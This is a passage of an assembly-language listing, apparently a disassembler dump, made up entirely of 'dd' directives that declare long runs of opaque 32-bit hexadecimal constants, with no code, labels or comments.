		dd 76CD019Fh, 8980393h,	0C208B640h, 8C911103h, 84DA546Ch
		dd 70D48375h, 0E20CB885h, 256C849Ch, 10A0406Bh,	1F6E6BBCh
		dd 54C61C69h, 0B799E929h, 0B259C926h, 9950B846h, 802D45CCh
		dd 22A4CF96h, 0DCB87D01h, 4C142D04h, 286A0CC0h,	70C3919h
		dd 9B11D0B1h, 4FC000A8h, 0F55E2ED9h, 262A46Fh, 0A4BFF40Ch
		dd 0A0846010h, 28682E0Ch, 0EAB151A4h, 1143B817h, 888B0CA0h
		dd 9700B44h, 964EC5Ah, 14950860h, 8C509140h, 110707Ch
		dd 1FF214B6h, 1B89CD08h, 8578F014h, 14ABE013h, 0EE9A65Bh
		dd 88F81084h, 62872F14h, 0E11FEFFh, 334C2433h, 8D793D3h
		dd 0A6838984h, 0B9C74408h, 6D05EEC3h, 82F25B7h,	20490C64h
		dd 0DAD8400h, 2086664h,	80D80F24h, 11820DCh, 84107042h
		dd 28A9B90Fh, 3C954680h, 2E480A5h, 180F8421h, 1819F16Ch
		dd 0A8489A01h, 899AAB70h, 1E81437h, 10AD9D0Eh, 58C9C1B5h
		dd 8DE47B50h, 0E16AB766h, 0B83A2FDFh, 0F3755B03h, 7384936Fh
		dd 0DE5D1C3Fh, 257B6489h, 8E75A39Fh, 843C3401h,	4A7B6B32h
		dd 0C5E763B1h, 4074CAAEh, 120A3C01h, 3C027515h,	576441E2h
		dd 0A9B56B93h, 0F85BCB43h, 16CD0CBh, 1CB83C90h,	209E754Ah
		dd 0AAC1ADF4h, 5C726225h, 9595FB86h, 0E22DC8C8h, 0D4FE0A0Dh
		dd 0D2D0F2CBh, 630BE6D4h, 5A06EB2Dh, 69742804h,	29637025h
		dd 981D022h, 0E4FF071Ch, 200FB5A2h, 18023882h, 3AC0AB4Eh
		dd 0D2C9B714h, 333E01D9h, 1F2534EFh, 8A30B843h,	1612F5Ch
		dd 0A62D1FFh, 750A93AAh, 0F2FF0122h, 7F640385h,	342F901h
		dd 0FC01BF65h, 5F6603A1h, 350FE01h, 0FF01AF67h,	68570328h
		dd 394FF01h, 0FF01692Bh, 6A1503CAh, 0AE5FF01h, 0FF016B03h
		dd 6C0385F2h, 418E012Bh, 0D06EB20h, 50381E10h, 0C933806Dh
		dd 0D9B0E983h, 174E4EEh, 815BF424h, 0ECC81373h,	830F877Fh
		dd 0A0E2FCEBh, 0CA94B334h, 1E80E220h, 0FFB93778h, 0DDFDEC9Fh
		dd 35280C2h, 90D8B082h,	0C1870C1Fh, 7E83C3Bh, 0ED43CE94h
		dd 0C8268683h, 74641EBFh, 0CFF3005Dh, 0C98AB518h, 7379941Bh
		dd 0AF5B8D06h, 40403CBDh, 4300E1ECh, 970C34D5h,	6C7EC5h
		dd 0EF4F5CBh, 0E663FDA4h, 0E80B3Bh, 4F9A43E3h, 0ED5880Ch
		dd 74D4F7F4h, 87C0C780h, 861C0917h, 378793D7h, 0AEF0190Fh
		dd 75B54CB1h, 0F0C74A0h, 57808D97h, 7B921200h, 51F089F3h
		dd 9A0050F8h, 773449E1h, 0B39D85h, 0B118787Dh, 743D8EA6h
		dd 1E072878h, 9BD42C8Ah, 8B473C47h, 688E508Dh, 79FEC5Eh
		dd 805D66F6h, 1EB89DDBh, 6FB339C3h, 0AF26C8D6h,	746C07EFh
		dd 829F6E51h, 0C80D4A9h, 0CEF9902Dh, 309CD788h,	4A882A8Dh
		dd 0B10D6017h, 0E0D0061Fh, 15BF1986h, 1C0F80E3h, 3C41EAh
		dd 0B3F091D7h, 742F730Eh, 0CC2A503Bh, 27620074h, 9B36AA3Dh
		dd 45001453h, 632C47A3h, 0F8F51772h, 78690A6Ah,	8C9DBDh
		dd 0D62D8E93h, 15338899h, 0C02A0886h, 0EA170937h, 0B1DC1911h
		dd 201590D4h, 88A0EE1Ch, 830C8E43h, 48BD0C04h, 38E1C09Ah
		dd 9BD87B53h, 45C05483h, 7501A76Dh, 784D977Eh, 699C3F6Eh
		dd 0BACA4E7Eh, 155D2ADAh, 8E13237Ch, 10F57962h,	27B5A793h
		dd 0BB86A76h, 22DE5C11h, 0A4129D19h, 758D897Fh,	3AD03D46h
		dd 0A72D3C45h, 0F027F5Bh, 0D8557942h, 945D50D1h, 0C6467B52h
		dd 4633302Eh, 3F0A0581h, 0A8525834h, 2F80D4FEh,	61DB4EA9h
		dd 45DB2269h, 0AFC80CA1h, 0AD6DDD5Bh, 8607D3Bh,	46662FA7h
		dd 8EAA5106h, 0D23271ACh, 6450AE8Eh, 0DBE15E30h, 72E3BFC7h
		dd 0B5AF8C30h, 34388732h, 43E23532h, 0E6735761h, 818975A5h
		dd 0B6C365DDh, 3010343h, 7C392C30h, 41C45E20h, 534F3A42h
		dd 12374C1Bh, 3127ECE7h, 77D85081h, 0B9724A33h,	257930BEh
		dd 0DE382C31h, 5730010Ch, 0FA44336Eh, 337A5975h, 54D236F0h
		dd 0C357BE55h, 303531A7h, 0DD4A4FFBh, 492D40EFh, 5952414Eh
		dd 482CDC9Dh, 7C21DA7Dh, 0CE544552h, 19320885h,	0FB4FDEB2h
		dd 35F7EBECh, 7C29FB4Bh, 0E0BBA50Dh, 186603D6h,	14890478h
		dd 5B5F242Ah, 5D2C5E1Ch, 0A5906ABh, 581A85F3h, 0B0B01FC8h
		dd 53494C93h, 2C9120AAh, 4AD17E50h, 0F77A6576h,	0C77F9F48h
		dd 9FC94Fh, 5341507Ch, 97B85652h, 0EAB452BAh, 0AB492D98h
		dd 182BA5AEh, 10E94122h, 54505954h, 0E353845h, 2F222037h
		dd 4E7CE853h, 64AB72BEh, 21677357h, 575007F1h, 91330444h
		dd 3E655248h, 0CD5944C9h, 0AC53304Ch, 7F65A2CCh, 796E8781h
		dd 47843F46h, 5914191Fh, 6833CC18h, 6B569755h, 2E38127Ah
		dd 338E30B0h, 65F53129h, 71E0312Ah, 41EBA075h, 3578549Fh
		dd 0FC65AF0Ch, 0BB302C32h, 77B7CF60h, 0ED6A2E9Ch, 0C0F34FA7h
		dd 0D7CB0F6Ah, 0AF2C97B1h, 1AE6F69Fh, 89DDEB6Eh, 48FDFA9Ch
		dd 0B57BDC47h, 2F1ADEEEh, 90A22E31h, 0D64B4F15h, 4CE6A336h
		dd 796D1758h, 1E6B27E8h, 2DA011FDh, 6E3AB67Eh, 287EFE2Ch
		dd 2C641263h, 10967313h, 7A119012h, 0CE41E778h,	589F303Dh
		dd 1E12F670h, 7C342585h, 7F3F3815h, 0AB266E91h,	4C511248h
		dd 19670A92h, 26929B7h,	90E4FD41h, 52522D2Fh, 98D29A40h
		dd 5544D92Bh, 50BDFF44h, 470D0334h, 7E22544Dh, 9D2D15E4h
		dd 0D6952070h, 0E91AA12Bh, 2B2A635Eh, 5F144FFBh, 2EB6D2ECh
		dd 364D79BFh, 0F08F0426h, 0F6DC8D5Ch, 0A0C3FEE3h, 34B3FE9Ch
		dd 37F5026Ah, 24D3608h,	848B79EEh, 0E87F5756h, 38A17675h
		dd 7E3CCF2Fh, 0A7D3D565h, 6CF0DEB6h, 2FFE781Ch,	6CF83D98h
		dd 66514899h, 0E4318A6Ah, 381E5589h, 0FCD32843h, 69FA4A92h
		dd 5CBD2E7Dh, 5C092ACCh, 464ED69Ah, 69C432AFh, 5D12125Fh
		dd 0AB922BD0h, 0DFED2BFBh, 0AE4ABBDEh, 0E13C0032h, 14B43E93h
		dd 0A502FB0Ch, 0C0534C4Fh, 393D4E3Ah, 3E0D3322h, 0D12C483Ch
		dd 1B2AA02Fh, 822249EFh, 4C42410Eh, 20AAF45h, 0AA59444Fh
		dd 4D0FFD09h, 9248344Ch, 45948EEFh, 7B15A17Ch, 65A6B1CFh
		dd 9D2D252Ch, 0EE302836h, 280FCA32h, 15CA2B9Ah,	7A464D29h
		dd 7A579544h, 0A248F849h, 94DD0893h, 46F9A1A0h,	3CD19280h
		dd 0F5254209h, 0E0827B85h, 0CAC3AD47h, 1CDAF12Fh, 6B566433h
		dd 9CD3D134h, 41595429h, 180A87F7h, 61702E51h, 57265873h
		dd 481F3B2Bh, 0C83EDAECh, 0E10A1CF7h, 0A11C3914h, 94D5D8DEh
		dd 0FF9D62Dh, 2F7315C0h, 0D838B4BAh, 46394332h,	0D7BB931Fh
		dd 14B6A9C4h, 411FA78Dh, 450D15A6h, 5B1A46h, 2ADABC94h
		dd 32BB249Bh, 2F64CA14h, 4E34CF06h, 2A0B3520h, 73DC063Ah
		dd 914D410Dh, 9BF109BFh, 71335A84h, 84B95C42h, 3DB26150h
		dd 0BF21857Ah, 955405EAh, 0CC7AACF6h, 0D6EC913Bh, 0B40426E1h
		dd 55FE6F57h, 0DE9AD54h, 21836227h, 0D5DD4A20h,	0DCBC5396h
		dd 0FA4E056h, 492B31B2h
		dd 620B550Bh, 39440712h, 4C5520D1h, 6208BA1h, 0E768529Dh
		dd 0AA309C9Ch, 0A43C592Dh, 414510D8h, 49727BA4h, 0A63F4CD1h
		dd 0A3DA9B27h, 0E9E22625h, 54A7EC3Eh, 53469A4Bh, 0A093906h
		dd 70E36552h, 131D5FA5h, 368DEB48h, 0AB35F72h, 88F6BF8Ch
		dd 9B5DDBD2h, 9CF47903h, 8131A8B3h, 58DD4E09h, 347C9AFAh
		dd 0BA634F44h, 74F24A24h, 0E289AFD2h, 0B4D4F82Eh, 0E400F6EEh
		dd 6ABA3E35h, 8A3C43B8h, 0B7746A43h, 9CAE8367h,	3D488774h
		dd 6F769FFAh, 0C84023D5h, 96D05C88h, 0AF4BAA86h, 3F3C846Dh
		dd 0BAC4AFF4h, 40736A05h, 8F55C396h, 8C45952Ch,	0F95C5389h
		dd 99755263h, 0DB6F2928h, 0B65843B4h, 98578526h, 696D3050h
		dd 252041A9h, 0A1A34BAh, 55C968A7h, 0D2B4A6E5h,	0E344A3BBh
		dd 0F4564150h, 4B6C0142h, 0A2BFD442h, 0EFDA7E79h, 14C01D12h
		dd 5C490A4Ch, 0A45D6A25h, 0E6BB2C25h, 24EB4AECh, 92F82B03h
		dd 0FB4EA43Fh, 0ED2E2079h, 6327A91Ch, 263C79A4h, 441BED63h
		dd 137D5225h, 0B51A7A49h, 0B79B6D72h, 0AAD28EAAh, 5CE750EEh
		dd 5B2E73B1h, 0CDFFD3BCh, 985EA7B2h, 0F4432DC3h, 1FF9B568h
		dd 201D7FA7h, 555A38A9h, 37493AD1h, 0A2579530h,	0FE5C4634h
		dd 910E5E84h, 0CCAE9270h, 24937350h, 9DA41CF2h,	0F1487CFCh
		dd 604A5569h, 631AACA9h, 48C86C97h, 88737D52h, 191AF525h
		dd 7314703Fh, 7F12966Ch, 0B770574Ah, 0B02CA93Eh, 9A408EFEh
		dd 0C841857Ah, 88295FA8h, 45445C72h, 4C802B71h,	2628A5B9h
		dd 6D4BB654h, 0E97B479Ah, 6C692434h, 68457FF9h,	0E79A5ED3h
		dd 50B25E98h, 27FD34D0h, 3C6DB4FFh, 1AED6276h, 0D47F4944h
		dd 4E24F476h, 59910B11h, 0E9C54C5Fh, 0E2D2441Eh, 0A4204159h
		dd 4021CE72h, 47A89754h, 2532AFC9h, 0ACD45B55h,	7C69797Ah
		dd 3D21C59Eh, 5C973ABh,	926B0481h, 0C0FC786Ah, 0CB7F2DA2h
		dd 17B85A4h, 70D5AFF5h,	80EB781Ch, 87EA7F5h, 0CF88572Dh
		dd 0FC69FD80h, 0E94CE4F5h, 424D2C29h, 0FAAD4BBBh, 96AE01D1h
		dd 6CC19AFh, 0EF00376Ch, 6D680A5Bh, 5580A185h, 0DB62D549h
		dd 0FE567062h, 6E4FE46Eh, 0FB67E1FEh, 0D0FD2F4Bh, 7F007326h
		dd 7F31FE6Dh, 50BC005Fh, 0EA2045BCh, 61B9495Eh,	0AF6E7973h
		dd 465A5C80h, 43826012h, 9A0A7D2Eh, 7F6BF700h, 92D4E812h
		dd 80A38823h, 0AE5996D5h, 2156AC1Ch, 44E2807Eh,	97747AD7h
		dd 80687BF4h, 0E042E4F5h, 6D37689h, 20BA09BFh, 0A7478704h
		dd 0BC5EAB8Bh, 5BFA4D74h, 4725C1F2h, 0BA7A09BDh, 0BAF45680h
		dd 1023FBCAh, 0CCE5DC72h, 27BD801Eh, 4D12BB80h,	0EE759479h
		dd 40F3CDD5h, 58AB8047h, 61631300h, 7FC77D12h, 42810789h
		dd 29736FCFh, 5380BD6Ch, 1D8738Ah, 81677226h, 89234813h
		dd 37A9DF50h, 3B52D18Ah, 723129E0h, 20382639h, 0B7832A09h
		dd 3ACBA3E3h, 0EE8A898Ch, 4E7E8B4Dh, 70A1B865h,	84D601AFh
		dd 0B7FFB880h, 26ECEF70h, 9AF31BCh, 4DC175B0h, 6B57B72h
		dd 63F62CF9h, 9D0DD61Ch, 0B3F11472h, 0AD6F1F30h, 86EB1E12h
		dd 70E62F31h, 4E277BFFh, 59EB579Eh, 9A6D81D9h, 0D55A6520h
		dd 9CD6B1D0h, 635E0FAAh, 0B33BCAB3h, 0D2D17249h, 0E552A5BAh
		dd 8EBDF2F3h, 62120871h, 1462BD33h, 6765240Dh, 101B5178h
		dd 2B53455Bh, 0B2075D43h, 14837002h, 29E53146h,	71029507h
		dd 0D2323E0Dh, 72029907h, 0ED330D53h, 2950729h,	343E0D73h
		dd 29907D2h, 350D5374h,	950729EDh, 3E0D7502h, 9907D236h
		dd 0D537602h, 729ED37h,	0D770295h, 7D2383Eh, 53780299h
		dd 29ED390Dh, 79029507h, 0D5308FADh, 7A02D907h,	33FA1449h
		dd 317B32C4h, 19DE1932h, 4C6012C0h, 187E480Fh, 49B31A2h
		dd 0C628034Bh, 0E104A632h, 14B14002h, 9C044D33h, 94232303h
		dd 3D90434h, 3539C224h,	39C044Dh, 36942325h, 5E03D904h
		dd 4D3739C2h, 26039C04h, 4389423h, 0C22A03D9h, 44D3939h
		dd 2328039Ch, 0D9043094h, 39C22903h, 2D07C2BDh,	85F6708h
		dd 5209BBE6h, 2B2B0B3Dh, 2D091114h, 5D0A615Bh, 292075Dh
		dd 35F87451h, 5DD8990Bh, 120B0D94h, 51674501h, 0B480DC3Dh
		dd 0B0D209Dh, 375411C2h, 700B430Ch, 0BC594984h,	1D10BD0h
		dd 0E8205526h, 50B3690Bh, 0B690929h, 4F990148h,	0B4A6F09h
		dd 9B500144h, 0A20BA1C0h, 0DCDB5201h, 52FF166Ah, 8DD0127h
		dd 39C27D59h, 61099441h, 149A40Bh, 1BD4BA53h, 4423840Bh
		dd 0B640929h, 468C104Eh, 0BA56609h, 47650122h, 0B296709h
		dd 29480113h, 480B6809h, 94A9901h, 440B4A6Ah, 9CA4B01h
		dd 26520B6Bh, 52094C01h, 1910B6Ch, 3B09BA32h, 583A0B91h
		dd 2789DE14h, 16852218h, 3410745Ah, 58014B0Bh, 0B1A4C3Ah
		dd 8430127h, 0A40B6314h, 3A56014Bh, 840B1B9Ch, 59E74222h
		dd 2214D63Dh, 0B6E524Eh, 4D19219Ch, 0B4A6D09h, 0CABC0144h
		dd 450B2C09h, 0BE14623Ch, 3E622E24h, 2FBF4414h,	3F2E238Ch
		dd 5C23DC91h, 91237C1Ch, 435B0111h, 5D4C5254h, 0F0590759h
		dd 7C4957F4h, 0CA07AE4Eh, 68042002h, 99425307h,	2F2CB228h
		dd 0A15250A4h, 9407190Eh, 63149102h, 0ED4B4C16h, 58D90764h
		dd 0F9687FF7h, 0F136075Dh, 0B6D49D7Dh, 5907563Fh, 47929841h
		dd 0B2F6E755h, 0E9EC3307h, 0AC444544h, 41990775h, 0FF4EE3F7h
		dd 0C1EA07DAh, 0FFF76BCDh, 33CB07EAh, 454CE841h, 0AC547D46h
		dd 3E2DB307h, 5207B7E8h, 52FA044Ch, 50484734h, 2D990765h
		dd 574FE28Dh, 940719A0h, 7A149002h, 19DC4D55h, 4E583507h
		dd 1CE1777Ch, 0CB81B96Ah, 6D5C8816h, 5178E760h,	9659736Bh
		dd 0B960602Ch, 0A2F0CE9Ch, 6E645161h, 1C62A2F0h, 63210AEFh
		dd 64A2F0CEh, 210AEF1Ch, 0A2F0CE65h, 0AEF1C66h,	0F0CE6721h
		dd 0EF1C68A2h, 0CE69210Ah, 676EA2F0h, 96C23BA8h, 29F5C8BAh
		dd 7CBB22C9h, 0F2AB9D7Dh, 0E07C521Ch, 17242945h, 0A770182Ah
		dd 93FD2514h, 0F0EFC4F4h, 48AF29D5h, 34C81C21h,	93F37F72h
		dd 79664C27h, 0A168A73Ah, 74C80B94h, 9C4BF06h, 88B8C044h
		dd 6C5E2E3Ah, 3A14873Ah, 21EC182Ch, 3F40E487h, 25F92421h
		dd 7E5EC80Fh, 2AF22643h, 0FC2D901Fh, 2FE4872Bh,	0F95C213Fh
		dd 3FC80F3Dh, 0F227437Eh, 7E901F60h, 0E48720FCh, 3EB1EB2Eh
		dd 0E8C845C2h, 21437618h, 901F40F2h, 8725FC24h,	213F5EE4h
		dd 0F2AF926h, 437E2DC8h, 1F2FF22Bh, 3DFC5C90h, 3F3FE487h
		dd 60F92721h, 7E7EC80Fh, 2EF12043h, 9E3A6E69h, 180EC851h
		dd 437E21C8h, 1F24F240h, 5EFC2590h, 3F26E487h, 2DF92A21h
		dd 7E2BC80Fh, 5CF22F43h, 0FC3D901Fh, 27E4873Fh,	0F960213Fh
		dd 20C80F7Eh, 682E2D7Eh, 0A9266A56h, 1DB0A25Ch,	0FC249018h
		dd 2EE48725h, 91C4E2EEh, 183BA460h, 0E8E72E25h,	180E606Dh
		dd 437E24C8h, 782EF125h, 7E21880Fh, 25F22443h, 8857AD1Fh
		dd 435C18B9h, 1F24F221h, 20F82590h, 4B444307h, 56687965h
		dd 95E07E9Dh, 1A31423h,	5CEA094Eh, 50182918h, 4521504Fh
		dd 6AF5D252h, 2D18179Ah, 610D87DDh, 0B9697D5Bh,	0FD47AD4Fh
		dd 0A18A628h, 54485355h, 0BD6F0245h, 0B0184200h, 0E7796170h
		dd 3D87C7Ah, 945930A9h,	0A9184C06h, 0ED7A3009h,	0E030918Ah
		dd 474F432Eh, 0DE53894Dh, 0BE43168Eh, 0A69580Fh, 1F7A183Ah
		dd 0C2DA2501h, 0A2460881h, 42E0DD0Fh, 56B54F79h, 0D075DA38h
		dd 292825BAh, 34FAA4F1h, 0F775F22Ch, 87BADDF7h,	1E7E79BDh
		dd 9846554Bh, 721AFCB5h
		dd 34014A7Dh, 4420B634h, 46A78353h, 50955D8Ah, 0B6325D27h
		dd 5F4B801Dh, 75AC5A28h, 87CEECAFh, 344B2Eh, 0AB4B24B3h
		dd 4C2D77C8h, 3F081928h, 8C301F36h, 236C4608h, 36330E2Eh
		dd 83073733h, 0DAC43230h, 38F346A8h, 4BC52Fh, 422D3A22h
		dd 0C91B576Fh, 16BA194Fh, 47C4AE2Eh, 29927C8Eh,	92E022A8h
		dd 4BA3D029h, 5284A440h, 3214A445h, 4F844385h, 0F45DF8E5h
		dd 38262C1Dh, 26746992h, 0A4299268h, 1092C422h,	0EBA4413Ch
		dd 48C4E4A5h, 4C32545Fh, 2D760A72h, 275F2055h, 18F3327Fh
		dd 1C2F4C20h, 0AF392E30h, 5556C923h, 3CB24EE2h,	0C848D3D5h
		dd 2269EF1Bh, 0BCB5369Bh, 7F0B4606h, 95842DF8h,	0FA381888h
		dd 38878F1Ch, 374A46D1h, 54346DE4h, 0D5343F67h,	0FD3443DBh
		dd 1BAD0132h, 0ED014D30h, 0E6B4B83Eh, 0AA6E4F0Eh, 0B2AE6635h
		dd 7E94FAFh, 424B127Eh,	3D96C42Fh, 0F7ED6B28h, 6BB4F64Ah
		dd 9847778Bh, 0BA4844A1h, 7DAD4721h, 6D7A2A9Bh,	71B4FEB5h
		dd 5D1BA140h, 9E97FC27h, 855AF4Dh, 65D14C38h, 0F4D9BC6Fh
		dd 4F343864h, 5A044A2Dh, 4846D83Ah, 1864AB5Ah, 1EEA36AFh
		dd 0D3207056h, 59C0CABAh, 301DF928h, 0BB72667h,	0A738E75Fh
		dd 165289FEh, 3EFCB5C7h, 8F2C3C52h, 0EB29A1F0h,	0A1004575h
		dd 1AB45253h, 432B2C8Dh, 0B6AF857Bh, 3E44C900h,	0FC2848FEh
		dd 5BDBA9A4h, 1A4439BBh, 282E8A29h, 0F1F8D77Ah,	0F6D8D6B7h
		dd 80B54B8Dh, 8978E3AFh, 0A74B9D44h, 5EC8E85Eh,	6997A3Fh
		dd 9B09FFC9h, 50A1521Dh, 0C9A4564h, 59DDA69Ah, 5028C93Eh
		dd 9D76695Bh, 0D2D4D925h, 6918FBD7h, 8C68573Bh,	4D547040h
		dd 3AF95E3Ah, 3846209Ah, 46666AD2h, 8AFB9634h, 0CB4D57BCh
		dd 2923152Ch, 6D5F6B80h, 0F95396ACh, 57559E69h,	9D955B18h
		dd 0FC03A1BAh, 505A4455h, 0FB83DFEh, 3D458B40h,	787030A7h
		dd 4F03533Dh, 54454B43h, 8F529B5Fh, 4E96749Eh, 2866DFAh
		dd 6A443DE1h, 374156B7h, 0E862D4ECh, 4BF4901Dh,	936403F0h
		dd 0E9B4CF91h, 5B18F65Bh, 1F1496F1h, 462C8C3Ah,	3692F61Ch
		dd 2C6985B3h, 997E2635h, 0F86B3B2Bh, 6B68A77Eh,	4B292898h
		dd 3AA9F72Fh, 5B17F230h, 0B490D3B8h, 94248Bh, 73D95CB9h
		dd 604AD4ADh, 0DA9063C6h, 4F4DEC92h, 42F34DA3h,	27AD5002h
		dd 6DEA5B67h, 0B54D22C0h, 0F7C989AAh, 0D9DF69FAh, 0C208B6BAh
		dd 0CFB7319Ch, 0A0935D7Bh, 66D73DEAh, 5A7486AFh, 0CE74AF61h
		dd 0E05AD0F6h, 48F36469h, 74D03405h, 53A2B09h, 0B8395D97h
		dd 0FC67DA93h, 0E5B8D2CFh, 0AF645A73h, 0A463D03Ch, 4F1AE114h
		dd 0A12B3DFAh, 0F5521C34h, 394F463Bh, 660438BBh, 0D3C476B7h
		dd 88B7104Eh, 9387B25Eh, 344316BDh, 39E3AAE5h, 6AB43191h
		dd 64FF4E30h, 9243D92h,	43267315h, 0AB77DA3Ch, 2AE57515h
		dd 0C551D1ADh, 3B44692Eh, 6BA4CBACh, 5BE64368h,	0B9B27BAh
		dd 0A428E55Dh, 3699428h, 8014018Eh, 0ADEC6EADh,	9325FB5Bh
		dd 0A80C4A55h, 4026F362h, 24427743h, 0E474FAF4h, 242C9A74h
		dd 8C7E9F72h, 0AD157C4Bh, 0E9A3A35Bh, 515A2CC8h, 24E4A1CCh
		dd 5A70A1B8h, 0C2862034h, 77239CEBh, 0C201CDFFh, 95622B61h
		dd 0C83E2930h, 38D23C29h, 0DB641D67h, 7DD9ABF7h, 629B98EFh
		dd 72662D0Eh, 3625AFD5h, 0D0446610h, 0E4F85ADDh, 6F2C39A4h
		dd 8951AFDh, 9355B24Fh,	0BF96B0EDh, 602B9034h, 13520C46h
		dd 66312E02h, 0FE4E424Bh, 4A0F4053h, 5A2CDE4Ah,	446554Bh
		dd 0D74B4485h, 60853EC4h, 616DAD7Bh, 23EFD3F6h,	3E1DEA38h
		dd 25C9DFEAh, 127D5B92h, 1643DDA3h, 52283E85h, 46D25D45h
		dd 0E22C912Dh, 24BD8A67h, 58F79A52h, 0B4A8D1BDh, 0C22819FDh
		dd 0BA639717h, 0AE975F8Eh, 84D7B88Dh, 49708DA6h, 2D9CDB44h
		dd 810A1B75h, 0E83E6443h, 1CEA9391h, 946A2FE9h,	0E4C4B1B2h
		dd 77D1D2DAh, 81E8FCF1h, 1F2B55ADh, 0AB03EED5h,	4DAC963Fh
		dd 658EC12Ch, 0EA5B0935h, 3C0E7C6Dh, 0A5FEADD7h, 7DEEC1A1h
		dd 64BFF47Ah, 0AF6F9682h, 3A0B4856h, 0C46FD55Ch, 50E35EBEh
		dd 38639373h, 73CB2057h, 0A4E46FD5h, 48157208h,	0DAAD77AFh
		dd 0FC566F0Dh, 43E49FABh, 25AC9DA1h, 323BA2C8h,	7D70B275h
		dd 34218D7Bh, 204F6772h, 2A429416h, 0D5E8A29Eh,	2CB514AFh
		dd 1FC53FF9h, 7D49F7AAh, 6D1F22DFh, 791465F9h, 0C25B642Bh
		dd 55A74C22h, 0CAF58949h, 50907F5Bh, 44FC5028h,	0E43C6899h
		dd 37EA0240h, 63057929h, 53DF065Ch, 4BB7202Ch, 281D3382h
		dd 84A42F1Ah, 2965725Fh, 2A556E69h, 554503C2h, 544CF87h
		dd 38CDFC4Fh, 0EC492F41h, 0D9188CE7h, 2B4D281Ch, 74F80399h
		dd 0B442E76Ch, 0FF1FC244h, 5405D589h, 0EF071269h, 1C09B789h
		dd 0D367B83Eh, 0C9F6D7EAh, 0EADE2A12h, 15A21C68h, 6890569Fh
		dd 0E8BBA11Ch, 92D52720h, 203B159Bh, 15745580h,	909DAC6Bh
		dd 1C03E435h, 8B4C4454h, 0C9094A2Eh, 50381260h,	6C4C9C4Fh
		dd 0A9794A6Ch, 0B4FAB5DDh, 5CBF2FAEh, 0DC7ECBA4h, 32B65425h
		dd 89357B1h, 4C3D0CBEh,	0C2FFF24Fh, 0C9FE8445h,	0D4172906h
		dd 41CC4EF1h, 2C12BA29h, 7AFC68Ch, 3439320h, 1033B190h
		dd 312419A8h, 0D8211C09h, 267802AFh, 202011B4h,	198066B2h
		dd 14643118h, 0C481009h, 28B7848Ch, 8CA66F4h, 46E1908h
		dd 0F8311109h, 8CB6E821h, 1892FC08h, 1041CC88h,	19CCF879h
		dd 89F009F4h, 24E812ECh, 88E048E4h, 0DC1948F0h,	988D811h
		dd 0D4194908h, 991D011h, 44C822CCh, 0BC89C0C4h,	0B424B812h
		dd 0AC91B048h, 0A444A822h, 129C89A0h, 48882490h, 22749180h
		dd 5C64446Ch, 4C125489h, 38484424h, 2C223491h, 891C2444h
		dd 24101218h, 20225C08h, 0EC4491F8h, 12DC89E4h,	48CC24D4h
		dd 22B491C0h, 9CA444ACh, 8C129489h, 74488024h, 60226891h
		dd 89505844h, 24381240h, 9124482Ch, 4414221Ch, 0FC88040Ch
		dd 12F08190h, 48DC24E8h, 22C891D0h, 0B0B844C0h,	0A012A889h
		dd 8C489424h, 74228091h, 89646C44h, 2454125Ch, 91404848h
		dd 44342238h, 1889202Ch, 112E0C12h, 228FF410h, 0DCE444ECh
		dd 0C412D089h, 0B048BC24h, 0A022A891h, 89889444h, 24781280h
		dd 91684870h, 44502258h, 2C893844h, 1C242412h, 0C911448h
		dd 8EF88870h, 0E412F081h, 0D048DC24h, 0BC22C891h, 89ACB444h
		dd 24A012A4h, 918C4894h, 447C2284h, 64896C74h, 50245C12h
		dd 40914848h, 30443822h, 12208928h, 48142418h, 8DFC8D08h
		dd 0E80991E9h, 0D844E022h, 12C089CCh, 48A824B4h, 229491A0h
		dd 95F81B88h, 1132E842h, 24780980h, 91704874h, 44602268h
		dd 48895058h, 38244012h, 24913048h, 14441C22h, 14088910h
		dd 0D8F484h, 0A650B318h, 4C64D22Ch, 59B93C3Ah, 1CD4B434h
		dd 0E93824CCh, 8C4C6866h, 345C048Ah, 0D880C411h, 58B32048h
		dd 64711C96h, 9168CFCh,	89F0F444h, 24E812ECh, 91DC48E4h
		dd 44CC22D4h, 80AE04C4h, 5C84BC98h, 0B829C066h,	0DB982309h
		dd 0B40CB414h, 0CECC0462h, 39AC664Ch, 0A04509A8h, 1C22D804h
		dd 0F7309694h, 10841994h, 2499B0B2h, 22781380h,	68447009h
		dd 125C8964h, 484C2454h, 22409144h, 2834443Ch, 18122089h
		dd 0C481024h, 36250891h, 3563F9F8h, 0CC347C09h,	7BE023BBh
		dd 0FD6F79C1h, 7310537Dh, 0CB2E5EA4h, 0ACE7781Eh, 6E6C1B3Dh
		dd 61EF046Fh, 9E700834h, 6D3F385Ah, 3451663Dh, 0C2301190h
		dd 10616875h, 0E6EF6579h
		dd 0B51FEE13h, 0F064880Bh, 75756725h, 52497818h, 423690B7h
		dd 9F59704Fh, 13CF78FEh, 53488CAAh, 7F206C6Bh, 5E67E0CCh
		dd 144A6602h, 0D064610Ah, 5456550Eh, 7C5F1C14h,	627190A8h
		dd 524248A8h, 70E1B7E5h, 72748A28h, 69104C41h, 7F796D22h
		dd 0E176776Ch, 8F87F17h, 66706473h, 67827254h, 2D41B7EFh
		dd 0F22BBDCDh, 88416F90h, 717C0773h, 47B53A38h,	69597C51h
		dd 0FC7D8ECAh, 79F7747h, 3C686465h, 2D4495EEh, 7B088866h
		dd 0A485F0BFh, 1024F111h, 6810A07Dh, 8625175h, 316A47B6h
		dd 8A473F0h, 1A922D7Ch,	0DD771081h, 7F402368h, 626D6112h
		dd 0FB6C3D4Eh, 0CC5FC5F2h, 7A9BF4EBh, 0AB284E8Eh, 4E414C00h
		dd 13444554h, 80564F4Ch, 6D7563C7h, 3272ACC2h, 41208339h
		dd 8E4D9344h, 561EA11h,	527B6556h, 4B9A0D7Dh, 0A8EC6E18h
		dd 158A9E7Dh, 3E67B875h, 53621E4Ch, 248C3334h, 9BEF4F82h
		dd 3E02608Eh, 38725219h, 99E14A50h, 47336D65h, 876F8449h
		dd 0CD3097ADh, 5B41E6F1h, 0CA377A6Bh, 1FFCF69Eh, 2D454EB0h
		dd 42414812h, 756832BFh, 6903A58Eh, 869C6D7Ah, 6BF460AAh
		dd 405D7497h, 41524F4Bh, 41905952h, 66990CC8h, 0DDC63CD6h
		dd 64412A50h, 803371A0h, 51973134h, 1F7625AAh, 99FA7312h
		dd 0FA38B150h, 0FF053832h, 0EEBC9A85h, 5975D29Ah, 762E3238h
		dd 794741FEh, 412062E6h, 2B69D963h, 0DC9F7DF8h,	326D5334h
		dd 89F56C30h, 0F0C65D80h, 0F10C9282h, 6450763Ah, 52906B51h
		dd 0E803408Ah, 4E9B4D47h, 6863C119h, 285665D7h,	0AA7073B4h
